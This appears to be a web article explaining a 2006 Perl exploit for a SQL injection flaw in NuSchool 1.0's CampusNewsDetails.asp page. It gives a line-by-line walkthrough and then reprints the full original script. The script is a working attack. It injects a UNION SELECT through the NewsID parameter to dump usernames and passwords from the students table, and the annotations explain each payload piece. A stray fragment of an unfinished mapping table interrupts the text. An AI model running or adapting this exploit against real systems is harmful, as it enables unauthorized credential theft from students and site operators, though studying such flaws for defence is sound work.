NuSchool 1.0 'CampusNewsDetails.asp' SQL Injection Exploit Explained

NuSchool 1.0 'CampusNewsDetails.asp' SQL Injection Exploit Explained
What this paper is
This paper details a remote SQL injection vulnerability in the NuSchool 1.0 web application, specifically within the CampusNewsDetails.asp page. The exploit, coded by ajann, leverages this vulnerability to extract usernames and passwords from the students table.
Simple technical breakdown
The core of the vulnerability lies in how the CampusNewsDetails.asp page handles user input for the NewsID parameter. Instead of properly sanitizing this input, the application directly incorporates it into a SQL query.
The exploit crafts a malicious NewsID value that, when processed by the SQL server, executes a UNION SELECT statement. This UNION SELECT statement is designed to:
- Inject Data: It inserts specific values (00, UserName, Password, 0) into the query result set.
- Extract Credentials: It targets the
studentstable and retrieves theUserNameandPasswordcolumns. - Filter Results: It uses a
WHERE StudentID LIKEclause to filter the results, aiming to match a specificStudentIDprovided by the attacker.
The Perl script automates sending this crafted request to the vulnerable web server and then parses the HTML response to extract the leaked username and password.
Complete code and payload walkthrough
The provided Perl script automates the exploitation process. Let's break down its components:
#!/usr/bin/perl
#[Script Name: NuSchool 1.0 (CampusNewsDetails.asp) Remote SQL Injection Exploit
#[Coded by : ajann
#[Author : ajann
#[Contact : :(
use IO::Socket;#!/usr/bin/perl: This is the shebang line, indicating that the script should be executed using the Perl interpreter.- Comments: The lines starting with
#are comments, providing metadata about the script, its author, and its purpose. use IO::Socket;: This line imports theIO::Socketmodule, which is essential for creating network connections (sockets) to communicate with the target web server.
if(@ARGV < 3){
print "
[========================================================================
[// NuSchool 1.0 (CampusNewsDetails.asp) Remote SQL Injection Exploit
[// Usage: exploit.pl [target] [path] [userid]
[// Example: exploit.pl victim.com / 1
[// Example: exploit.pl victim.com /path/ 1
[// Vuln&Exp : ajann
[========================================================================
";
exit();
}- Argument Check: This
ifstatement checks if the script received at least three command-line arguments (@ARGVis an array containing the arguments). - Usage Message: If fewer than three arguments are provided, it prints a help message explaining how to use the script, including examples, and then exits.
[target]: The hostname or IP address of the vulnerable server.[path]: The virtual path to the NuSchool application on the server (e.g.,/or/nuschool/).[userid]: TheStudentIDto search for in thestudentstable.
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "CampusNewsDetails.asp?NewsID=";
$target = "-1%20union%20select%2000,UserName,Password,0%20from%20students%20where%20StudentID%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;$server = $ARGV[0];: Assigns the first command-line argument (the target hostname) to the$servervariable.$server =~ s/(http:\/\/)//eg;: This line uses a regular expression substitution to remove any "http://" prefix from the$servervariable, ensuring it's just the hostname.$host = "http://".$server;: Reconstructs the full URL scheme with the cleaned server name.$port = "80";: Sets the default HTTP port to 80.$dir = $ARGV[1];: Assigns the second command-line argument (the path) to the$dirvariable.$file = "CampusNewsDetails.asp?NewsID=";: Defines the vulnerable script name and the parameter name.$target = "-1%20union%20select%2000,UserName,Password,0%20from%20students%20where%20StudentID%20like%20".$ARGV[2];: This is the core of the SQL injection payload.-1: This is a common technique in SQL injection to ensure the original query (which likely expects a validNewsID) fails or returns no results, making theUNIONpart more likely to be the sole source of data.%20: URL-encoded space character.union select: The SQL keyword to combine the results of twoSELECTstatements.00,UserName,Password,0: These are the columns being selected. The exploit assumes the original query would return 4 columns. It injects00and0as placeholders to match the expected column count and then extractsUserNameandPasswordfrom thestudentstable.from students: Specifies the table to query.where StudentID like %20".$ARGV[2];: Filters the results to find a student whoseStudentIDmatches the third command-line argument (theuserid). TheLIKEoperator is used, which is often more flexible than=for matching.
$target = $host.$dir.$file.$target;: Concatenates all the parts to form the complete URL for the request.
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";- Socket Connection:
print "+ Trying to connect: $server\n";: Informs the user about the connection attempt.$socket = IO::Socket::INET->new(...): Creates a new TCP socket connection to the target server ($server) on port 80. If the connection fails, it prints an error and exits.print $socket "GET $target\n";: Sends an HTTP GET request to the server, including the crafted$targetURL.print $socket "Host: $server\n";: Sets theHostheader, which is required for HTTP/1.1.print $socket "Accept: */*\n";: Sets theAcceptheader, indicating that the client can accept any content type.print $socket "Connection: close\n\n";: Instructs the server to close the connection after the response. The double newline signifies the end of the HTTP headers.print "+ Connected!...\n";: Confirms a successful connection.
#Getting
while($answer = <$socket>) {
if ($answer =~ /<td width=\"21%\"><font size=\"2\" face=\"Arial, Helvetica, sans-serif\">(.*?)<\/font>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}
if ($answer =~ /<td colspan=\"2\"><font size=\"2\" face=\"Arial, Helvetica, sans-serif\">(.*?)<\/font>/){
print "+ Password: $1\n";
exit();
}
if ($answer =~ /Ad removed or not yet approved/) {
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit();
}
if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit();
}
}- Response Parsing: This
whileloop reads the server's response line by line (<$socket>).- Username Extraction:
if ($answer =~ /<td width=\"21%\"><font size=\"2\" face=\"Arial, Helvetica, sans-serif\">(.*?)<\/font>/): This regex searches for a specific HTML table data (<td>) element that contains a font tag. The exploit assumes that theUserNamewill be rendered within such a tag.$1: This captures the content within the font tag (the username).print "+ Username: $1\n";: Prints the extracted username.
- Password Extraction:
if ($answer =~ /<td colspan=\"2\"><font size=\"2\" face=\"Arial, Helvetica, sans-serif\">(.*?)<\/font>/): Similar to the username extraction, this regex looks for another specific<td>structure, assuming it contains the password.$1: Captures the password.print "+ Password: $1\n";: Prints the extracted password.exit();: Exits the script after successfully extracting both username and password.
- Failure Conditions:
if ($answer =~ /Ad removed or not yet approved/): Checks for a specific error message that might indicate theNewsIDwas invalid or the content was not found.if ($answer =~ /Internal Server Error/): Checks for a generic server error, which could indicate a syntax error in the SQL query or other server-side issues.- In both failure cases, it prints an error message and exits.
- Username Extraction:
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";
# milw0rm.com [2006-11-11]- General Failure: If the loop finishes without finding the username or password (and without hitting the specific failure conditions), this general failure message is printed.
- Source Comment: Indicates where the exploit was originally posted.
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
#[Script Name: NuSchool 1.0 (CampusNewsDetails.asp) Remote SQL Injection Exploit
#[Coded by : ajann
#[Author : ajann
#[Contact : :(
use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[// NuSchool 1.0 (CampusNewsDetails.asp) Remote SQL Injection Exploit
[// Usage: exploit.pl [target] [path] [userid]
[// Example: exploit.pl victim.com / 1
[// Example: exploit.pl victim.com /path/ 1
[// Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "CampusNewsDetails.asp?NewsID=";
$target = "-1%20union%20select%2000,UserName,Password,0%20from%20students%20where%20StudentID%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /<td width=\"21%\"><font size=\"2\" face=\"Arial, Helvetica, sans-serif\">(.*?)<\/font>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}
if ($answer =~ /<td colspan=\"2\"><font size=\"2\" face=\"Arial, Helvetica, sans-serif\">(.*?)<\/font>/){
print "+ Password: $1\n";
exit();
}
if ($answer =~ /Ad removed or not yet approved/) {
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit();
}
if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit();
}
}
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";
# milw0rm.com [2006-11-11]